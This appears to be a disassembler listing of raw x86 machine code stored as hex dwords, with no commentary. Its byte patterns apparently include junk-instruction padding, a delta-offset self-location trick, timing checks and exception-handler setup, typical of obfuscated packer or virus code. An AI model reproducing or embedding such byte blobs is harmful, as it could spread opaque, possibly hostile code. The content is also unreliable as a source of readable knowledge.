		dd 6AC090Dh, 12CF8166h,	61BD8331h, 6AC0Bh, 53840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 69BE0C3h, 89619281h,	0AC1BA195h, 34895006h, 53006A24h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0BA0F17Bh, 8B6371FEh, 0AC0649BDh, 1DB5FF06h,	5306AFB2h
		dd 2F118D29h, 0FF5F06ACh, 0AC213595h, 0F88B6606h, 68A0Fh
		dd 0B5290000h, 6AC2521h, 0B21DB5FFh, 6A06AFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0AAD96CC3h
		dd 4DD75CD0h, 95FF381Dh, 6AC14D9h, 1E9BD83h, 0F0206ACh
		dd 6684h, 2D958900h, 8B06AC0Ah,	0AC05A985h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 66ACFA62h, 8B22F2B7h, 0AC1549BDh, 43CDBF06h,	0C60D34h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0EAA00A4Ah, 2BD75A78h, 0A5B50943h, 0C706AC29h
		dd 0AC300185h, 6, 9E900h, 0A1310000h, 0B8EE6A7Fh, 0F9CB2F9h
		dd 681h, 31B53100h, 0E906AC29h,	0FFFFF470h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0BAC35545h, 0C63A4243h
		dd 8BFCD598h, 50006AC1h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 5089632Bh, 7ACA0672h, 858DBD95h
		dd 6AC2741h, 28E99509h,	505006ACh, 0FA8B6652h, 5250310Fh
		dd 0FF88B66h, 0BCC6BB31h, 585A17E0h, 489585Ah, 56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 2CAB2471h, 95898976h, 6AC20C1h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0BCC98FC3h
		dd 25018589h, 5E906ACh,	3A000000h, 0D7163F6Ch, 8DF8006Ah
		dd 0B0C28F85h, 81BD8906h, 8306AC0Ah, 6A05C0h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 53499FC3h
		dd 62C745FDh, 50FE8B90h, 0DE8h,	2BF9A00h, 46250677h, 0D0F4F802h
		dd 0AE9F426h, 0EE000000h, 0A5FC8091h, 523CB1C6h, 6A905F47h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0ED56C351h, 1F7B9223h, 40BB663Bh,	1EBF662Ch
		dd 9006A1Ch, 0AC0B959Dh, 6A006A06h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0A350C350h
		dd 0CDACD735h, 5D9D0BC5h, 0E906AC26h, 5, 50CE17DDh, 0F995FFC1h
		dd 8906AC0Ah, 0AC0791B5h, 808D8D06h, 106AF8Bh, 0AC32058Dh
		dd 0F8D1FF06h, 161BD83h, 0F0106ACh, 7285h, 0B98D8900h
		dd 6A06AC28h, 699D8B02h, 0BB06AC05h, 186127AFh,	1A04BB90h
		dd 0BF501568h, 5B986353h, 53006A90h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 8B0F90B4h
		dd 6, 14499D0Bh, 95FF06ACh, 6AC0DA5h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 33C35545h, 0EABA0008h, 0E9CA83AAh
		dd 0E25h, 0E8h,	0ED815D00h, 6B0C299h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 16h, 10C35141h, 0F381AE5Eh
		dd 187F5C4Eh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Dh,	0EEC35040h, 1B00AF79h, 58E1B930h, 3185298Fh, 8D06AC02h
		dd 0AF7E3B85h, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 0A53FD16Ch, 4B10A967h
		dd 7CBB6677h, 5039B758h, 0B3617DBBh, 2404894Dh,	35FF64h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0B5D9C352h, 46E78166h,	258964A3h
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0C1C35646h
		dd 0E674D74Dh, 1AF641BDh, 7585FF0Eh, 6A06AC33h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 44F7C357h, 0CFAC235h, 940F560h, 60DF8B66h, 27959D8Bh
		dd 0B70F06ACh, 0FF6A61FFh, 32D9BD23h, 0B5FF06ACh, 6AC2801h
		dd 95FF1EB3h, 6AC2069h,	0FEE9h,	0B0DF8B00h, 0BDBF6600h
		dd 0E970E641h, 0Ah, 5231F78Ch, 490872EAh, 0C78151A6h, 69F1194Eh
		dd 0B70F71E4h, 0F613CF9h, 0D283h, 0FDD8A00h, 0E956C8B6h
		dd 12h,	1A1648A8h, 64F9E22Eh, 0BB48B38Bh, 58DD93BAh, 0BA5FDE9Bh
		dd 6, 8BF8B70Fh, 0C99D8BC1h, 0C106AC0Dh, 858904E8h, 6AC29A5h
		dd 8BE2F766h, 0AC2AE5BDh, 0E99D8B06h, 2B06AC27h, 0BB6653C8h
		dd 8B5F8618h, 0A9DF80D1h, 7AE9h, 55BD8900h, 8B06AC1Eh
		dd 885h, 0BF39BF00h, 0C083023Bh, 0C08307h, 2D918529h, 950106ACh
		dd 6AC08A9h, 830FD03Bh,	16h, 0D2FF6BBFh, 45E909h, 7E90000h
		dd 91000000h, 0BF89E84Ch, 8D8BCA7Bh, 0FFFFFFFFh, 2929B529h
		dd 0E18306ACh, 24840F01h, 89000000h, 0AC1ACDBDh, 0FFA58306h
		dd 0FEFFFFFFh, 1339BD23h, 958906ACh, 8,	2AF78166h, 0E9F98Ah
		dd 8D000000h, 0B03A8BB5h, 21BD8B06h, 6A06AC33h,	56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0A4F1B7FBh, 89AE441Ah, 0AC12659Dh, 4595FF06h, 0E906AC21h
		dd 7, 12264681h, 0B9F065D1h, 109Eh, 7E78166h, 0FCE1835Ah
		dd 0FEA0BA60h, 9D01284Ch, 6AC3215h, 6AFC61h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0C2D319C3h
		dd 6C6E34F8h, 0C02B9913h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 61C35646h, 9EC500B9h,	8119D8Bh, 958906ACh
		dd 6AC31E9h, 0BAh, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 0F732F19h, 8166DFB7h
		dd 0AD20D6E3h, 0E8D1C233h, 0E983D003h, 0FF47504h, 68Fh
		dd 0F9BD8B00h, 8906AC2Ah, 0AC300585h, 0C18D8906h, 0D06AC2Fh
		dd 88h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh
		dd 51C35242h, 0EA9DB42Ch, 6F669453h, 0EDB260DFh, 12E8h
		dd 8307E900h, 0BEA34391h, 85521A62h, 4AD7734Fh,	8A22D243h
		dd 8B6159E7h, 0AC2F0D95h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0F5E469EAh
		dd 12810Fh, 0DE90000h, 0B2000000h, 4DECBE05h, 0E8D7D154h
		dd 7902A16Ah, 1E058D8Bh, 0B70F06ACh, 0C28B50DBh, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0CE93C357h
		dd 0B7F927B4h, 0EEA9FD0Fh, 1229BD83h, 0F0006ACh, 8784h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 52F3A68Bh, 578DB984h, 0BF666EE6h, 0B8F8AEh
		dd 66000000h, 0B5DBD781h, 4E338D8Dh, 6A06ACh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 4ED891C3h
		dd 0B70F213Ch, 6AE1FFD9h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 2825C353h, 7E5FF0FEh
		dd 0BF01BFAFh, 4894AA96h, 27F1BD83h, 0F0006ACh,	46684h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 62BB4F26h, 66707ACEh, 6001DB81h,	27F1BD83h
		dd 0F0106ACh, 44D84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 8FD57D95h, 0A6D3BD58h
		dd 5595898Bh, 8306AC27h, 0AC27F1BDh, 860F0306h,	3E0h, 1E850F60h
		dd 0E8000000h, 12h, 1593325Ch, 33C0DD0Bh, 2AD40E99h, 8719CC7Eh
		dd 8E0FF5A1h, 0
a_fmJ		db '_f▄ыj',0
		dw 0E852h
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 25C35242h, 89A8FB0Fh
		dd 0AC1AD1B5h, 4E18006h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 14C35747h, 0C3C4E3C2h, 8A3F5D5h, 5D958910h
		dd 0A06AC0Ch, 31840FC9h, 6A000001h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 478DC356h
		dd 71A6698Ch, 32B9858Bh, 12E806ACh, 0F8000000h,	0A29D7C59h
		dd 0BBBD305Fh, 0C3869FD9h, 6AE5C09Fh, 29BD8B7Ch, 5B06AC0Bh
		dd 8533C5B3h, 6AC19E9h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 4C35747h, 55BD8Bh, 0EF8006ACh, 60509083h
		dd 8E9C68Ah, 4C000000h,	0AEBEB752h, 6104E12Dh, 0E5BD8990h
		dd 0FC06AC13h, 6A006Ah,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0AD656CC3h, 71B3E298h, 108D9D8Bh
		dd 9D2B06ACh, 6AC1A45h,	0B959D89h, 506806ACh, 6042F16Dh
		dd 66504EB1h, 5A08C1B9h, 24348161h, 42EE6EAFh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 59C35343h, 0EA7D08E6h
		dd 9BD95FFh, 9D3306ACh,	6AC328Dh, 0B21D8589h, 6A06AFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0DA8BACC3h, 1AAE9h, 0F8B70F00h, 0B215858Bh, 6A06AFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0F5960FC3h, 5DDF4726h, 0D663F781h, 0C724E4h,	18h, 11E9h
		dd 4120E900h, 0CD99C0C3h, 42A979D0h, 0A293D198h, 0B58B2E05h
		dd 6AFB219h, 0BE9h, 333E4300h, 72A8573Fh, 190164Eh, 0A9858Bh
		dd 41B306ACh, 6A0689h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 0F55D5C3h, 68Fh,	0F19D8B00h, 8B06AC11h
		dd 0AC32B985h, 52006A06h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 0BA0BFCFEh, 4468943h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 3DC35242h
		dd 0E9D6F3EAh, 0Bh, 511B3F47h, 696D1782h, 0F598A305h, 5E950h
		dd 28D60000h, 897129B9h, 5E92434h, 0B4000000h, 5305D971h
		dd 0B215B5FFh, 6A06AFh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 2C6AF5C3h, 0FE9h, 0E7FD9500h, 2DC435FEh
		dd 248539CFh, 3BC5B77Fh, 84ADFF68h, 0BE9E0h, 99280000h
		dd 19E5F9E5h, 8E1DB34Eh, 240481C6h, 1F9A5600h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 3C35141h, 2C1B8C19h
		dd 0F6A37B46h, 286DB529h, 858D06ACh, 6AFB21Dh, 33E99D8Bh
		dd 539006ACh, 0D98B505Fh, 218D8990h, 0FF06AC01h, 0AC09BD95h
		dd 8DBD8B06h, 6106AC01h, 0C7FE8B66h, 0AC27F185h, 306h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 1AAA4B25h, 23DA2F8Ah, 1C558529h,	9D8B06ACh
		dd 6AC34A5h, 0B21DBD83h, 0F0006AFh, 3B84h, 50E9FC00h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 7473C352h, 0A2B22F52h, 0DABF0F6Eh, 9E951h
		dd 37500000h, 29C6CDDFh, 5F100730h, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 81C08B00h, 0AF42D5EFh
		dd 53006A4Ch, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 853360BCh, 6AC1D05h, 68F0Fh, 0B58B0000h
		dd 6AC0091h, 0FA8B6661h, 27F1BD83h, 0F0306ACh, 48285h
		dd 24BF6600h, 1DBD8390h, 6AFB2h, 471840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 430AFFC3h, 1DD76C12h, 0BD8B888Ah, 6AC14A1h, 0EE8h, 0E834E00h
		dd 9E50A51Eh, 2644D205h, 8B9F5A30h, 0AC2501BDh,	0B5FF5B06h
		dd 6AFB21Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	63C35747h, 6840Fh, 8D890000h, 6AC0B9Dh,	5E9h, 962E8600h
		dd 95FF4486h, 6AC09C5h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 98C35343h, 0E1140ED9h, 56E474EDh, 0B58B2DB7h
		dd 6AFB211h, 6C7F88Ah, 10001h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 84C35343h, 89802478h, 60509687h
		dd 310F5250h, 0DE9h, 9A131700h,	0DA80BFA8h, 1B9CDBBEh
		dd 585A62DCh, 11E956h, 38D50000h, 17B8ACD4h, 48F9FEC3h
		dd 7172BD31h, 59579B2Fh, 0F98B9661h, 0B21DB5FFh, 8D0906AFh
		dd 6AC241Dh, 1F5595FFh,	870F06ACh, 2, 0B58BD98Bh, 6AFB211h
		dd 0E5858Bh, 6A06ACh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 1D651CC3h, 86898880h, 0C4h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 5C35646h, 0AFED2ADDh
		dd 5E8B4h, 0B8060000h, 893AF621h, 0AC07DD85h, 958B5F06h
		dd 6AC2F0Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	89C35646h, 0FE304A12h, 64BB6648h, 4C2837Ch, 11E9h
		dd 0FB93D800h, 49D10E6Ch, 3BD9CF4Dh, 0C4144334h, 5089F122h
		dd 50006A20h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0C7CE248Eh, 0F3BB4D25h, 0F563E5B9h, 291D9D8Bh
		dd 858D06ACh, 6AFC71Eh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 18C35545h, 89765882h,	0B886h,	52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0C217E15Eh, 0EF80D794h, 6A006A55h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0D591C355h
		dd 2B961D0Bh, 6DBD8B56h, 5F06AC1Bh, 0B21DB5FFh,	0F6006AFh
		dd 68Eh, 860F00h, 31000000h, 0AC2E15B5h, 95FF6106h, 6AC0DA5h
		dd 0D9B70F60h, 13E9h, 0EB3EAB00h, 3F2EE1B7h, 0DBB27E38h
		dd 0EF9BE7D0h, 3D4E3B2Bh, 8A609661h, 615A53F1h,	96FD8A50h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0C8C35343h
		dd 0AB66D839h, 736421D6h, 0B5FFDA8Bh, 6AFB21Dh,	27A19D8Bh
		dd 95FF06ACh, 6AC090Dh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 6BC35747h, 1039D00Dh,	9D81CBFBh, 1341BD8Bh
		dd 0BD8306ACh, 6AC0B61h, 1E840F00h, 66000000h, 0A503C381h
		dd 2EB75096h, 0FE996h, 4F940000h, 8A871C08h, 4A92E00Ah
		dd 0C350A0B0h, 1DB5FFC1h, 6006AFB2h, 12E8h, 0A38E9000h
		dd 250583DBh, 75C2BE03h
asc_594F40	db 'ыа',0Bh,'и',0       ; DATA XREF: ___:off_4387F8o
		db 0B5h, 0F8h, 8Bh
		dd 0AC1241B5h, 9D8B5906h, 6AC1BBDh, 3595FF61h, 6A06AC21h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0C06CC353h, 0A223BDE8h, 0B21DB5FFh, 0BFBB06AFh
		dd 0FF32CB17h, 0AC14D995h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 77CDBDEh, 46BB37Ch
		dd 9D8B0346h, 6AC1275h,	1E9BD83h, 0F0206ACh, 7684h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 56F5469Eh, 0BF0F8FB4h, 0A9858BFAh, 6A06AC05h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0BB27C357h, 693F9B59h, 107DBD8Bh, 0C606ACh, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 81665300h, 0C7454AC3h, 0AC300185h, 6, 11BD8B00h, 0E906AC30h
		dd 0FFFFF312h, 0C18BFE8Bh, 0CE9h, 6F1C7000h, 8B887B35h
		dd 0B6081977h, 41858DA4h, 6A06AC27h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 81D1C351h
		dd 0A5A1A6EFh, 90509025h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0A1C35545h, 0B815EEF1h, 0F36FF46h, 0EE9F9BFh
		dd 0E7000000h, 0F67467BAh, 0B4318117h, 731960C0h, 80006A79h
		dd 6A0EE3h, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 1Ch,	0E5C35242h, 0B76F8EA4h,	0C65A5B5h, 0AE9h, 61C33000h
		dd 0E69D18F0h, 8DBD4C34h, 0B0D28A85h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 0A5B3B06h, 8A05C083h, 0BE8D9h, 43FC0000h, 533EE39Ch
		dd 0AA30D6E8h, 5FDE8B71h, 7E890h, 8EDE0000h, 0CB2FA141h
		dd 14E885h, 0B0900000h,	0B237CD36h, 7A7F319Ah, 164C77E8h
		dd 8AD06816h, 61605E6Dh, 0E9505B5Bh, 12h, 0B03FF6CCh, 0A3AC0D8Fh
		dd 5B7F58F1h, 6F54737Eh, 6A900B5Dh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 8411C351h
		dd 5830F36h, 0BF000000h, 2F4B4816h, 0DA8B006Ah,	0F56006Ah
		dd 285h, 5BD98B00h, 0AF995FFh, 8E906ACh, 0EC000000h, 0C6106ED0h
		dd 8D94DAB6h, 0AF8B808Dh, 0A561BB06h, 0D1FF1818h, 1E99B589h
		dd 0BD8306ACh, 6AC0161h, 47850F01h, 6A000000h, 99B53102h
		dd 9006AC0Fh, 52505250h, 310FD4B7h, 585A6160h, 0DA8B310Fh
		dd 8B50585Ah, 6A90F8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 95FFBFC3h, 6AC0DA5h, 1E319589h
		dd 9DE906ACh, 0E800000Eh, 0
		dd 94ED815Dh, 6606B0D2h, 8FFCCB81h, 7E3B858Dh, 50F806AFh
		dd 11E8h, 0E5D53300h, 0BDA13F6Dh, 7E64A6E2h, 2B1AD546h
		dd 0DE9CBC4h, 0A9000000h, 5759B5E3h, 608DB812h,	86B8D52Ch
		dd 2404895Bh, 35FF64FCh, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 12C35343h
		dd 0DB816632h, 89646310h, 25h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0EA0CEA7h
		dd 0FF5612FDh, 0AC337585h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0BA72BFBAh
		dd 8D895AB8h, 6AC00B9h,	0BD89FF6Ah, 6AC3189h, 2DA1B5FFh
		dd 0B58906ACh, 6AC24A5h, 206995FFh, 4AE906ACh, 0F000001h
		dd 0B0FFBFh, 0E6D98B66h, 359D8B70h, 0E406AC1Ah,	11E971h
		dd 63840000h, 0FE2723B0h, 0C8762D75h, 0B0BBB57h, 3C496E3Bh
		dd 1A830F61h, 89000001h, 0AC352D9Dh, 0C8B60F06h, 6BAD98Bh
		dd 0F8000000h, 10BFC18Bh, 662081CAh, 142BC381h,	6604E8C1h
		dd 0E781E2F7h, 39143B25h, 11859589h, 0C82B06ACh, 12E9D18Bh
		dd 57000000h, 0C426A0F6h, 9B75B464h, 5967D545h,	0BE7A2DB1h
		dd 0CBE9FBh, 0BB660000h, 858B5CF8h, 1, 12DBD89h, 0C08306ACh
		dd 0C083F807h, 41BD8900h, 0E806AC11h, 0Bh, 37877FB4h, 2E4C2F0Ch
		dd 0FC6687Ch, 3B5BF8BFh, 2B830FD0h, 89000000h, 0AC32AD85h
		dd 10E906h, 5D590000h, 0CFF529C5h, 979CF791h, 31CB4BE4h
		dd 72E9D3DEh, 0F000000h, 58Dh, 0EB816600h, 8D8B5A79h, 0FFFFFFFFh
		dd 18830Fh, 0E9560000h,	11h, 96B35909h,	0D96E8B71h, 7176E494h
		dd 4626B26Bh, 0BD8B5FCDh, 6AC1A39h, 0F01E183h, 3484h, 0BE900h
		dd 6C9B0000h, 982313AEh, 66BF1E88h, 0FFA58310h,	0FEFFFFFFh
		dd 68A0Fh, 9D8B0000h, 6AC14CDh,	19589h,	0B5010000h, 6AC324Dh
		dd 0E9h, 29B58D00h, 6606B04Bh, 6A9DFBBBh, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 8B66CD20h, 4595FFF9h, 6A06AC21h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 69CBC357h
		dd 0FB8BA43Bh, 112DB9h,	0FCE18300h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 5EC35141h, 350E6854h, 23E5EBD4h
		dd 57006AFCh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 0B87DF66Ah, 0B8h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0B1B3A269h
		dd 66833567h, 0BADA8Bh,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 4CAC355h
		dd 0E50B9D47h, 0E9FC6003h, 9, 3BA9904Eh, 982D6FE4h, 33AD6162h
		dd 3E8D1C2h, 4E983D0h, 360F475h, 0AC2F1185h, 0B870F06h
		dd 0E9000000h, 6, 0F3651212h, 0E961B3DBh, 0Bh, 0A2A99914h
		dd 0C9E15873h, 0D40FA8Eh, 88h, 5AE38166h, 0D958BB8h, 8B06AC2Fh
		dd 0AC1E058Dh, 57006A06h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 0CA4FE666h, 32DA3CF9h
		dd 8E9h, 225D2400h, 1D4784D0h, 0C28B503Ah, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 8B58188Bh, 11E9DAh, 87190000h
		dd 6CD7F5A1h, 0DE6B3D6Ah, 910F765h, 6A0E41A5h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 1330C352h, 0BD8BD8DDh, 6AC31F9h, 53C38166h, 10E907h
		dd 84120000h, 941A6F9h,	4AD2DB64h, 3FE4CBF0h, 0BD8311DEh
		dd 6AC1229h, 53840F00h,	1000000h, 0AC2A9D9Dh, 0B806h, 8E90000h
		dd 0CC000000h, 609ADBECh, 8DE31673h, 0AC4E338Dh, 5E806h
		dd 2AE50000h, 5F6CE605h, 6AE1FFh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 0E0E4DEC3h, 8A098FECh
		dd 1E759D8Bh, 0BD8306ACh, 6AC27F1h, 49840F00h, 0BB000005h
		dd 14A8E82Eh, 27F1BD83h, 0F0106ACh, 55284h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0BD09AA3Dh, 6AC1509h, 0FE8h,	0DC4FA800h, 7D3D5CD6h
		dd 0FC786CCDh, 184D88FDh, 1115BD01h, 835F06ACh,	0AC27F1BDh
		dd 860F0306h, 4D1h, 7E9h, 55904A00h, 92C84BF3h,	11E860h
		dd 712C0000h, 0A9A173C1h, 7A09DDAh, 3AEB0300h, 291E12F5h
		dd 0AC306585h, 8C665F06h, 0EE9D9h, 0FC8A0000h, 0D79C3717h
		dd 3D91358Dh, 74048140h, 0E904E180h, 11h, 5D177273h, 72E3B0A3h
		dd 0D8B81727h, 1546BE1Fh, 0FC90AA0h, 15D84h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 77C35E3Fh, 897739C1h, 0AC19199Dh, 0B9858B06h, 6A06AC32h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 199AC357h, 0DB60B255h, 0B28296Eh,	0AC0839BDh
		dd 0E9853306h, 8906AC19h, 0AC33898Dh, 8B669006h, 29BB50FBh
		dd 904613DFh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 16h,	0E8C35646h, 6A6B19h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 66C35747h, 757BA001h, 8E85A98h
		dd 3F000000h, 9EBC5CC7h, 0F9B7EA59h, 8D54685Fh,	8B66DFC9h
		dd 240481F8h, 205576ABh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 19h, 0E8C35242h, 0E836E594h, 860FC3h, 0FF000000h
		dd 0AC09BD95h, 57006A06h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 0F15B4C4h, 180h, 8589F500h
		dd 6AFB21Dh, 639B529h, 0ABE906ACh, 6A000002h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0B339C355h, 0CF52D4F6h, 816636B4h, 662390F3h, 858BFB8Bh
		dd 6AFB215h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	0C4C35040h, 0C71BBA73h,	1800h, 68D0F00h, 8B000000h
		dd 0AC2AE59Dh, 19B58B06h, 2906AFB2h, 0AC26FD85h, 8B75B706h
		dd 0AC00A985h, 0AE906h,	91C60000h, 1E59AA28h, 8EC0B9Eh
		dd 6A0689h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0B58919C3h, 6AC0B21h, 858BFB8Bh, 6AC32B9h
		dd 0DECA28BBh, 446894Bh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0DAC35141h, 8FCFD3B4h, 0E8509432h, 13h
		dd 87ABFDF1h, 59E61893h, 77283422h, 6012EF0Ch, 66BF357Bh
		dd 5F1E90BFh, 8B243489h, 15B5FFF8h, 6A06AFB2h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 4B50C355h, 2D6C7037h, 0BBCBDAC7h, 2E1878FCh,	14890Fh
		dd 0FE90000h, 0D5000000h, 48C53246h, 7202708Dh,	0A248F4D0h
		dd 4E8FBDCh, 0FF000000h, 0F001F03h, 1381h, 0CE95000h, 0C8000000h
		dd 0DB36965Eh, 93804E94h, 5FB7B163h, 8BFB8B50h,	50042444h
		dd 0FDA8A52h, 14E931h, 56AF0000h, 3A5DECEEh, 0DD752E77h
